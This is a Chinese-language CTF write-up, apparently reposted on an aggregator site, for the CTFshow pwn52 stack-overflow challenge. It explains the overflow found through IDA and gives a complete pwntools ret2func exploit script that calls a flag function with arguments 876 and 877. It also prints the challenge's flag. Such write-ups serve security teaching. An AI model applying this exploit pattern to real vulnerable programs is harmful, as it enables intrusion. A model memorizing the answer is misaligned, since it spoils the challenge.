当前位置: 首页 > news >正文

CTFshow-PWN-栈溢出(pwn52)

迎面走来的flag让我如此蠢蠢欲动

常规检查一下:

32 位程序,开启 NX 保护

ida 反编译看主函数

跟进 ctfshow 函数,存在栈溢出

 

有一个 hint:你需要满足它的条件!

注意到这里有一个 flag 函数

读取文件 /ctfshow_flag 并在特定条件下将内容打印出来

满足条件才会打印 s 即 flag 内容

否则只返回 s 字符串指针,没有输出

需要满足:

if ( a1 == 876 && a2 == 877 )

也就是 flag 函数接收的两个参数呗

构造 payload:

溢出后返回到 flag 函数,再传入满足条件的参数值

payload = cyclic(offset) + p32(flag_addr) + p32(0) + p32(876) + p32(877)

完整 exp:

# @author:My6n
# @time:20250611
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28159)
elf = ELF('./pwn')
flag_addr = elf.sym['flag']
offset = 0x6c+4
payload = cyclic(offset) + p32(flag_addr) + p32(0) + p32(876) + p32(877)
io.sendline(payload)
io.interactive()

拿到 flag:ctfshow{ec5e1623-6d8d-4338-bcb9-43f23d6f65d8}

http://www.xdnf.cn/news/980965.html

相关文章:

  • 【Docker基础】Docker核心概念:容器(Container)详解
  • Spring详解【2】
  • 数据定义以及数据类型
  • 盒模型小全
  • MySQL查看连接情况
  • 解锁Flink CDC:实时数据同步秘籍
  • windows电脑解决笔记本搜索不到wifi问题
  • 通过flv.js在网页中拉流进行视频播放
  • C# TextBox 控件限制输入字符为十六进制字符串
  • Java@Data 与 @NotNull 注解冲突问题
  • 火山引擎大模型系列都有什么内容
  • 从认识AI开始-----生成对抗网络(GAN):通过博弈机制,引导生成
  • 博客:基本框架设计(下)
  • 牛市与熊市:市场周期的双面镜
  • 力扣上C语言编程题:最大子数组和(涉及数组)
  • TikTok数据采集软件避坑指南:代理/IP轮换/账号封禁问题一站解决
  • CAMEL中涉及获取 GOOGLE_API_KEY 和 SEARCH_ENGINE_ID 这两个值
  • 【时时三省】(C语言基础)寄存器变量( register变量)和全局变量的存储类别
  • 曼昆《经济学原理》第九版 第十七章寡头垄断
  • (简单介绍)反事实场景counterfactual scenarios
  • 树莓派超全系列教程文档--(63)rpicam-apps可用选项介绍之常用选项
  • 绝缘胶垫怎么选择,耐压、防滑、厚度、质量参数如何选择?
  • [学习] C语言结构体与联合体的对比分析
  • 网络层 IP协议(第一部分)
  • Web前端基础之HTML
  • 通过Docker和内网穿透技术在Linux上搭建远程Logseq笔记系统
  • 对比学习(Contrastive Learning)方法详解
  • Docker Swarm overlay 和 docker_gwbridge
  • 我们来学mysql -- keepalive主从高可用
  • 线 性 数 据 结 构 双 雄:栈 与 队 列 的 原 理、实 现 与 应 用